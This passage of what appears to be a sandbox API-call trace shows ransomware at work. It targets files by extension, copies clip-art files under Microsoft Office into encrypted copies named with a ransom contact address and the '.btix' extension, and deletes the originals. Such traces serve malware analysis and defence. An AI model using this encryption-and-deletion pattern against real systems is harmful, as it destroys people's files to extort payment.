lpOverlapped=0x0) returned 1 [0150.189] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.189] SetEndOfFile (hFile=0x378) returned 1 [0150.189] CloseHandle (hObject=0x378) returned 1 [0150.189] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.189] SetEndOfFile (hFile=0x348) returned 1 [0150.190] CloseHandle (hObject=0x348) returned 1 [0150.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0150.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.190] lstrlenW (lpString=".doc") returned 4 [0150.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.190] lstrlenW (lpString=".docx") returned 5 [0150.190] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0150.190] lstrlenW (lpString=".pdf") returned 4 [0150.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.190] lstrlenW (lpString=".xls") returned 4 [0150.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.191] lstrlenW (lpString=".xlsx") returned 5 [0150.191] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0150.191] lstrlenW (lpString=".ppt") returned 4 [0150.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.191] lstrlenW (lpString=".zip") returned 4 [0150.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.191] lstrlenW (lpString=".rar") returned 4 [0150.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString=".bz2") returned 4 [0150.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString=".7z") returned 3 [0150.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.191] lstrlenW (lpString=".dbf") returned 4 [0150.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.191] lstrlenW (lpString=".1cd") returned 4 [0150.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.191] lstrlenW (lpString=".jpg") returned 4 [0150.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.191] lstrlenW (lpString=".doc") returned 4 [0150.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString=".docx") returned 5 [0150.191] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0150.191] lstrlenW (lpString=".pdf") returned 4 [0150.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.191] lstrlenW (lpString=".xls") returned 4 [0150.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.191] lstrlenW (lpString=".xlsx") returned 5 [0150.191] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0150.192] lstrlenW (lpString=".ppt") returned 4 [0150.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.192] lstrlenW (lpString=".zip") returned 4 [0150.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.192] lstrlenW (lpString=".rar") returned 4 [0150.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.192] lstrlenW (lpString=".bz2") returned 4 [0150.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.192] lstrlenW (lpString=".7z") returned 3 [0150.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.192] lstrlenW (lpString=".dbf") returned 4 [0150.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.192] lstrlenW (lpString=".1cd") returned 4 [0150.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0150.192] lstrlenW (lpString=".jpg") returned 4 [0150.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.192] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.192] lstrlenW (lpString="J0099176.WMF") returned 12 [0150.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.192] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2488) returned 1 [0150.192] CloseHandle (hObject=0x348) returned 1 [0150.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0150.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.193] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.193] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.193] GetLastError () returned 0x0 [0150.193] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0150.194] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0150.195] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.195] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.195] SetEndOfFile (hFile=0x378) returned 1 [0150.195] CloseHandle (hObject=0x378) returned 1 [0150.195] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.196] SetEndOfFile (hFile=0x348) returned 1 [0150.196] CloseHandle (hObject=0x348) returned 1 [0150.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.197] lstrlenW (lpString=".doc") returned 4 [0150.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.197] lstrlenW (lpString=".docx") returned 5 [0150.197] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0150.197] lstrlenW (lpString=".pdf") returned 4 [0150.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.197] lstrlenW (lpString=".xls") returned 4 [0150.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.197] lstrlenW (lpString=".xlsx") returned 5 [0150.197] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0150.197] lstrlenW (lpString=".ppt") returned 4 [0150.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.197] lstrlenW (lpString=".zip") returned 4 [0150.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.197] lstrlenW (lpString=".rar") returned 4 [0150.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.197] lstrlenW (lpString=".bz2") returned 4 [0150.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.197] lstrlenW (lpString=".7z") returned 3 [0150.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.197] lstrlenW (lpString=".dbf") returned 4 [0150.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.197] lstrlenW (lpString=".1cd") returned 4 [0150.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.198] lstrlenW (lpString=".jpg") returned 4 [0150.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.198] lstrlenW (lpString=".doc") returned 4 [0150.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString=".docx") returned 5 [0150.198] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0150.198] lstrlenW (lpString=".pdf") returned 4 [0150.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString=".xls") returned 4 [0150.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.198] lstrlenW (lpString=".xlsx") returned 5 [0150.198] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0150.198] lstrlenW (lpString=".ppt") returned 4 [0150.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.198] lstrlenW (lpString=".zip") returned 4 [0150.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.198] lstrlenW (lpString=".rar") returned 4 [0150.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString=".bz2") returned 4 [0150.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString=".7z") returned 3 [0150.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.198] lstrlenW (lpString=".dbf") returned 4 [0150.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.198] lstrlenW (lpString=".1cd") returned 4 [0150.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0150.198] lstrlenW (lpString=".jpg") returned 4 [0150.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.199] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.199] lstrlenW (lpString="J0099177.WMF") returned 12 [0150.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.199] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=5386) returned 1 [0150.199] CloseHandle (hObject=0x348) returned 1 [0150.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0150.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.199] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.199] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.200] GetLastError () returned 0x0 [0150.200] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x150a, lpOverlapped=0x0) returned 1 [0150.200] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1510, lpOverlapped=0x0) returned 1 [0150.201] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.201] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.202] SetEndOfFile (hFile=0x378) returned 1 [0150.202] CloseHandle (hObject=0x378) returned 1 [0150.202] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.202] SetEndOfFile (hFile=0x348) returned 1 [0150.202] CloseHandle (hObject=0x348) returned 1 [0150.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0150.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.203] lstrlenW (lpString=".doc") returned 4 [0150.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.203] lstrlenW (lpString=".docx") returned 5 [0150.203] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0150.203] lstrlenW (lpString=".pdf") returned 4 [0150.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.203] lstrlenW (lpString=".xls") returned 4 [0150.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.203] lstrlenW (lpString=".xlsx") returned 5 [0150.203] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0150.203] lstrlenW (lpString=".ppt") returned 4 [0150.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.203] lstrlenW (lpString=".zip") returned 4 [0150.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.203] lstrlenW (lpString=".rar") returned 4 [0150.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.203] lstrlenW (lpString=".bz2") returned 4 [0150.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString=".7z") returned 3 [0150.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.204] lstrlenW (lpString=".dbf") returned 4 [0150.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.204] lstrlenW (lpString=".1cd") returned 4 [0150.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.204] lstrlenW (lpString=".jpg") returned 4 [0150.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.204] lstrlenW (lpString=".doc") returned 4 [0150.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString=".docx") returned 5 [0150.204] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0150.204] lstrlenW (lpString=".pdf") returned 4 [0150.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString=".xls") returned 4 [0150.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.204] lstrlenW (lpString=".xlsx") returned 5 [0150.204] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0150.204] lstrlenW (lpString=".ppt") returned 4 [0150.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.204] lstrlenW (lpString=".zip") returned 4 [0150.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.204] lstrlenW (lpString=".rar") returned 4 [0150.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString=".bz2") returned 4 [0150.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.204] lstrlenW (lpString=".7z") returned 3 [0150.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.205] lstrlenW (lpString=".dbf") returned 4 [0150.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.205] lstrlenW (lpString=".1cd") returned 4 [0150.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0150.205] lstrlenW (lpString=".jpg") returned 4 [0150.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.205] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.205] lstrlenW (lpString="J0099178.WMF") returned 12 [0150.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.205] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=3606) returned 1 [0150.205] CloseHandle (hObject=0x348) returned 1 [0150.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0150.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.206] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.206] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.206] GetLastError () returned 0x0 [0150.206] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xe16, lpOverlapped=0x0) returned 1 [0150.338] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xe20, lpOverlapped=0x0) returned 1 [0150.505] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.505] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.505] SetEndOfFile (hFile=0x378) returned 1 [0150.505] CloseHandle (hObject=0x378) returned 1 [0150.506] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.506] SetEndOfFile (hFile=0x348) returned 1 [0150.506] CloseHandle (hObject=0x348) returned 1 